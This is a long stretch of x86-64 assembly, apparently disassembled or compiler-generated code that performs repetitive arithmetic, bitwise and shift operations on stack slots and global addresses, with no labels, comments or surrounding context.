mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9780]
mov qword [rsp + 0xb318], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb318]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa540]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa9c0]
mov eax, dword [rax]
mov dword [rsp + 0x5244], eax
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
mov byte [0x1401cd823], al
movsx eax, byte [0x1401cd726]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x9bc8]
movzx eax, word [rax]
mov word [rsp + 0x18e8], ax
mov rax, qword [rsp + 0xa068]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac40]
mov byte [rcx], al
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x15c4]
add eax, ecx
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x9c30]
mov rax, qword [rax]
mov qword [rsp + 0xb320], rax
mov eax, dword [rsp + 0x482c]
mov ecx, dword [rsp + 0x4e48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0x8910]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f30], rax
mov rax, qword [rsp + 0xaaa0]
mov ecx, dword [rsp + 0x4998]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f3c], eax
mov rax, qword [rsp + 0xacd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x239]
and eax, ecx
mov rcx, qword [0x1401cd978]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2db]
movzx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov rcx, qword [rsp + 0x9410]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d58]
movzx eax, word [rax]
mov word [rsp + 0x18ec], ax
movsx eax, word [0x1401cd820]
mov rcx, qword [rsp + 0xae58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1464], ax
lea rax, [rsp + 0x1618]
mov qword [rsp + 0xb328], rax
mov rax, qword [rsp + 0x9288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa230]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb140]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5210]
movzx ecx, al
mov eax, dword [0x1401cd720]
shr eax, cl
mov dword [rsp + 0x4f8c], eax
mov rax, qword [rsp + 0xa9f0]
mov rax, qword [rax]
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0xa350]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x51bc]
shl eax, cl
mov dword [rsp + 0x513c], eax
movzx eax, word [0x1401cd788]
mov word [rsp + 0x18f0], ax
lea rax, [rsp + 0x29a]
mov qword [0x1401cdc08], rax
movzx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0x99d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15b4], ax
lea rax, [rsp + 0x2c6]
mov qword [rsp + 0xb338], rax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa138]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2ce], al
mov rax, qword [rsp + 0xb2d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa748]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb038]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaae0]
mov rax, qword [rax]
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0xa4e8]
mov ecx, dword [rsp + 0x50f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50f8], eax
lea rax, [rsp + 0x4f38]
mov qword [rsp + 0xb348], rax
movsx eax, word [rsp + 0x1630]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d8], ax
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb238]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc082], al
movsx eax, word [rsp + 0x18dc]
movsx ecx, word [rsp + 0x14d8]
add eax, ecx
mov rcx, qword [rsp + 0xac80]
mov word [rcx], ax
lea rax, [rsp + 0x1508]
mov qword [rsp + 0xb350], rax
mov rax, qword [rsp + 0xa4d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x2c4], al
lea rax, [rsp + 0x8f28]
mov qword [rsp + 0xb358], rax
mov rax, qword [rsp + 0xa9d8]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e58], eax
mov eax, dword [rsp + 0x479c]
mov ecx, dword [rsp + 0x4840]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov dword [rcx], eax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xb360], rax
movzx eax, word [0x1401cc0d8]
movzx ecx, word [rsp + 0x185c]
add eax, ecx
mov word [rsp + 0x1748], ax
movzx eax, byte [rsp + 0x289]
mov rcx, qword [rsp + 0xa290]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401cd868]
mov byte [rcx], al
movzx eax, byte [rsp + 0x283]
mov byte [rsp + 0x2de], al
movsx eax, word [rsp + 0x11fc]
mov rcx, qword [rsp + 0xb188]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa470]
mov word [rcx], ax
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16d0], ax
lea rax, [rsp + 0x91b8]
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x9e18]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0xb128]
mov eax, dword [rax]
mov dword [rsp + 0x5248], eax
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x90d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e5c], eax
mov rax, qword [0x1401cdae0]
movzx eax, byte [rax]
mov byte [rsp + 0x2df], al
lea rax, [rsp + 0x1538]
mov qword [0x1401cdc10], rax
movsx eax, word [rsp + 0x1840]
movsx ecx, word [rsp + 0x1818]
imul eax, ecx
mov word [rsp + 0xee8], ax
mov rax, qword [0x1401cdb90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d6]
and eax, ecx
mov rcx, qword [rsp + 0x9190]
mov byte [rcx], al
lea rax, [rsp + 0x206]
mov qword [rsp + 0xb370], rax
movsx eax, word [rsp + 0x1890]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x187c], ax
lea rax, [rsp + 0x519c]
mov qword [rsp + 0xb378], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d8], rax
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xa4c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51cc], eax
lea rax, [rsp + 0xaf50]
mov qword [rsp + 0xb380], rax
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cd724], al
movzx eax, word [rsp + 0x1648]
mov rcx, qword [rsp + 0xb350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18e4], ax
movzx eax, byte [rsp + 0x27d]
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0xa5d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa720]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x176c]
sub eax, ecx
mov word [rsp + 0x17b0], ax
mov rax, qword [rsp + 0x9d88]
mov rcx, qword [rsp + 0x91a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x83f8], rax
mov rax, qword [rsp + 0xaff0]
mov ecx, dword [rsp + 0x5038]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97c0]
mov rax, qword [rax]
mov qword [rsp + 0xb388], rax
mov eax, dword [rsp + 0x5118]
mov ecx, dword [rsp + 0x5224]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc062], al
mov rax, qword [rsp + 0x99a8]
movzx eax, word [rax]
mov word [rsp + 0x18f4], ax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
shl eax, cl
mov rcx, qword [rsp + 0xafa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9df8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x210]
sub eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [0x1401cd7f0]
movzx eax, byte [rax]
mov byte [rsp + 0x2e1], al
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa368]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x47cc]
mov dword [rsp + 0x524c], eax
mov rax, qword [rsp + 0xa438]
mov rcx, qword [rsp + 0xa430]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa058]
mov rcx, qword [rsp + 0x9e18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c30]
mov qword [rcx], rax
lea rax, [rsp + 0x295]
mov qword [0x1401cdc18], rax
lea rax, [rsp + 0x16d8]
mov qword [rsp + 0xb390], rax
movzx eax, word [rsp + 0x16b8]
movzx ecx, word [rsp + 0x18bc]
add eax, ecx
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0x260]
mov qword [rsp + 0xb398], rax
movzx eax, byte [rsp + 0x2c1]
movzx ecx, byte [0x1401cc00e]
sub eax, ecx
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0xaf58]
mov ecx, dword [rsp + 0x5058]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ffc], eax
lea rax, [rsp + 0x517c]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0xa100]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9520]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9588]
mov rax, qword [rax]
mov qword [rsp + 0xb3a8], rax
lea rax, [rsp + 0x16f8]
mov qword [0x1401cdc20], rax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x15f8]
add eax, ecx
mov word [rsp + 0x171c], ax
movzx eax, byte [rsp + 0x20d]
mov rcx, qword [rsp + 0x9c18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae50]
mov byte [rcx], al
lea rax, [rsp + 0x234]
mov qword [rsp + 0xb3b0], rax
mov rax, qword [rsp + 0x9ac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9bb0]
mov byte [rcx], al
lea rax, [rsp + 0x5018]
mov qword [rsp + 0xb3b8], rax
mov rax, qword [rsp + 0x98f8]
mov ecx, dword [rsp + 0x4f84]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb090]
mov qword [rsp + 0xb3c0], rax
mov rax, qword [rsp + 0xa260]
mov rax, qword [rax]
mov rcx, qword [0x1401cd728]
mov qword [rsp + 0xb3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9f70], rax
movsx eax, word [rsp + 0x1788]
movsx ecx, word [rsp + 0x18cc]
sar eax, cl
mov word [0x1401cda00], ax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1fa], al
lea rax, [rsp + 0x24d]
mov qword [rsp + 0xb3d0], rax
mov rax, qword [rsp + 0xae78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x211]
and eax, ecx
mov byte [rsp + 0x2b8], al
mov rax, qword [0x1401cdb08]
movzx eax, word [rax]
mov word [rsp + 0x18f8], ax
mov rax, qword [rsp + 0xaf70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x482c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x86e8], rax
mov rax, qword [rsp + 0x8bd0]
mov qword [rsp + 0xb3d8], rax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x95e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0xa9a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cd8f0]
mov word [rcx], ax
mov rax, qword [0x1401cd878]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x29e]
add eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x157c]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1648], ax
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0xb398]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa290]
mov byte [rcx], al
movzx eax, word [rsp + 0x1630]
mov word [rsp + 0x18fc], ax
mov rax, qword [rsp + 0x9768]
mov ecx, dword [rsp + 0x50fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50a8], eax
mov rax, qword [rsp + 0x9570]
mov rax, qword [rax]
mov qword [rsp + 0xb3e0], rax
mov eax, dword [rsp + 0x5060]
mov rcx, qword [rsp + 0x9c70]
mov qword [rsp + 0xb3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x51c8], eax
mov rax, qword [rsp + 0xabe0]
mov rcx, qword [rsp + 0x97f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa338], rax
mov rax, qword [0x1401cd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
or eax, ecx
mov word [0x1401cc140], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0x9da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa078]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa7c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7e8]
movzx eax, word [rax]
mov word [rsp + 0x1900], ax
mov rax, qword [rsp + 0x92a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0xa358]
mov rax, qword [rax]
mov qword [rsp + 0xb3f8], rax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0xb3e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0xaab8]
mov ecx, dword [rsp + 0x4fd4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4bc4], eax
lea rax, [rsp + 0x5068]
mov qword [rsp + 0xb400], rax
mov rax, qword [rsp + 0x9098]
movsx eax, word [rax]
movsx ecx, word [0x1401cdbf8]
add eax, ecx
mov word [rsp + 0x17d4], ax
mov rax, qword [rsp + 0xa258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1520]
sub eax, ecx
mov word [0x1401cd8d0], ax
lea rax, [rsp + 0x166]
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xa6d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9058]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9578]
mov byte [rcx], al
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16fc]
sub eax, ecx
mov word [rsp + 0x1868], ax
mov rax, qword [rsp + 0x9500]
mov qword [rsp + 0xb410], rax
mov eax, dword [rsp + 0x4ef0]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9010]
mov qword [rsp + 0xb418], rax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa780]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1e6]
mov rcx, qword [rsp + 0xab88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20b], al
lea rax, [rsp + 0x200]
mov qword [0x1401cdc28], rax
lea rax, [rsp + 0x15b4]
mov qword [rsp + 0xb420], rax
movzx eax, byte [rsp + 0x221]
movzx ecx, byte [rsp + 0x2d3]
xor eax, ecx
mov byte [rsp + 0x289], al
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
mov word [rsp + 0x1904], ax
mov rax, qword [rsp + 0xa760]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9528]
mov qword [rsp + 0xb428], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb428]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4f70], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0x96e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xafa0]
shr rax, cl
mov rcx, qword [rsp + 0xa540]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf38]
mov ecx, dword [rsp + 0x4f5c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x252]
and eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x1780]
mov qword [0x1401cdc30], rax
movzx eax, word [rsp + 0x1180]
movzx ecx, word [rsp + 0x1808]
sub eax, ecx
mov rcx, qword [rsp + 0x9ee0]
mov word [rcx], ax
lea rax, [rsp + 0x28d]
mov qword [rsp + 0xb438], rax
movsx eax, word [rsp + 0x18d4]
mov rcx, qword [rsp + 0x9dd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x90d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa9c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9d0]
mov qword [rcx], rax
mov rax, qword [0x1401cc028]
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0x50bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9df0]
mov eax, dword [rax]
mov dword [rsp + 0x5250], eax
movzx eax, word [rsp + 0x1808]
mov rcx, qword [rsp + 0xaa18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15a4], ax
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa7b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc009], al
mov rax, qword [rsp + 0xb438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa6b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9a], al
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x2e2], al
mov rax, qword [rsp + 0xa5d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1708], ax
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov word [rsp + 0x1908], ax
mov eax, dword [rsp + 0x5174]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4998], eax
mov rax, qword [rsp + 0x9480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96c8]
mov qword [rsp + 0xb448], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb448]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9570]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d98]
mov eax, dword [rax]
mov dword [rsp + 0x5254], eax
mov rax, qword [rsp + 0x8fe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401cc020]
sar rax, cl
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc07e], al
mov rax, qword [0x1401cd9c0]
movzx eax, word [rax]
mov word [rsp + 0x190c], ax
movzx eax, byte [rsp + 0x26a]
movzx ecx, byte [rsp + 0x277]
xor eax, ecx
mov rcx, qword [rsp + 0xab90]
mov byte [rcx], al
lea rax, [rsp + 0x1668]
mov qword [rsp + 0xb450], rax
movzx eax, byte [rsp + 0x27a]
movzx ecx, byte [rsp + 0x2a3]
and eax, ecx
mov rcx, qword [rsp + 0x9ca0]
mov byte [rcx], al
mov eax, dword [rsp + 0x5080]
mov ecx, dword [rsp + 0x5240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d54], eax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0xb458], rax
mov rax, qword [rsp + 0x9dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b00]
mov rax, qword [rax]
mov qword [rsp + 0xb460], rax
lea rax, [rsp + 0x280]
mov qword [0x1401cdc38], rax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa680]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18f0], ax
mov rax, qword [rsp + 0xa370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1448], ax
movzx eax, byte [rsp + 0x2a8]
mov byte [rsp + 0x2e3], al
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov eax, dword [rsp + 0x5020]
mov dword [rsp + 0x5258], eax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5028]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5200], eax
mov rax, qword [rsp + 0xae88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8558], rax
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0xa6a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x82f8], rax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
xor eax, ecx
mov word [0x1401cc0fc], ax
movsx eax, byte [0x1401cc052]
movsx ecx, byte [rsp + 0x2d4]
shl eax, cl
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
mov byte [rsp + 0x2e4], al
movsx eax, byte [rsp + 0x296]
movsx ecx, byte [rsp + 0x29d]
or eax, ecx
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
lea rax, [0x1401cc110]
mov qword [rsp + 0xb468], rax
mov eax, dword [rsp + 0x5024]
mov rcx, qword [rsp + 0x9278]
mov qword [rsp + 0xb470], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb470]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0xaf80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9438]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb170], rax
lea rax, [rsp + 0x8560]
mov qword [rsp + 0xb478], rax
mov eax, dword [rsp + 0x4968]
mov ecx, dword [rsp + 0x5068]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa278]
mov dword [rcx], eax
lea rax, [rsp + 0x25c]
mov qword [0x1401cdc40], rax
lea rax, [rsp + 0x1784]
mov qword [rsp + 0xb480], rax
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0xb370]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29b], al
lea rax, [0x1401cc034]
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xabf0]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa260]
mov rax, qword [rax]
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0x95e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5040]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaf70]
mov dword [rcx], eax
lea rax, [rsp + 0x17c0]
mov qword [0x1401cdc48], rax
mov rax, qword [rsp + 0xaf10]
movzx eax, byte [rax]
mov byte [rsp + 0x2e5], al
mov rax, qword [0x1401cdb50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
lea rax, [rsp + 0x1524]
mov qword [rsp + 0xb498], rax
mov rax, qword [rsp + 0x9d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa390]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad20]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0xa2c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb068], rax
lea rax, [rsp + 0x5118]
mov qword [rsp + 0xb4a0], rax
mov rax, qword [rsp + 0x9bc0]
movzx ecx, al
mov rax, qword [rsp + 0x9c60]
shl rax, cl
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0xa1c0]
mov eax, dword [rax]
mov dword [rsp + 0x525c], eax
movzx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x9d58]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc054], ax
mov rax, qword [rsp + 0x9d58]
movzx eax, word [rax]
mov rcx, qword [0x1401cd770]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0xa6c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2e6], al
movsx eax, word [rsp + 0x181c]
mov rcx, qword [rsp + 0x9be8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1890], ax
movzx eax, byte [rsp + 0x27b]
movzx ecx, byte [rsp + 0x20e]
add eax, ecx
mov rcx, qword [rsp + 0xb338]
mov byte [rcx], al
lea rax, [rsp + 0x516c]
mov qword [rsp + 0xb4a8], rax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa910]
mov qword [rcx], rax
lea rax, [0x1401cd710]
mov qword [rsp + 0xb4b0], rax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0xa8d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb410], rax
mov rax, qword [rsp + 0x9da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f0]
sub eax, ecx
mov rcx, qword [0x1401cdc10]
mov word [rcx], ax
mov rax, qword [0x1401cdaa0]
movzx eax, byte [rax]
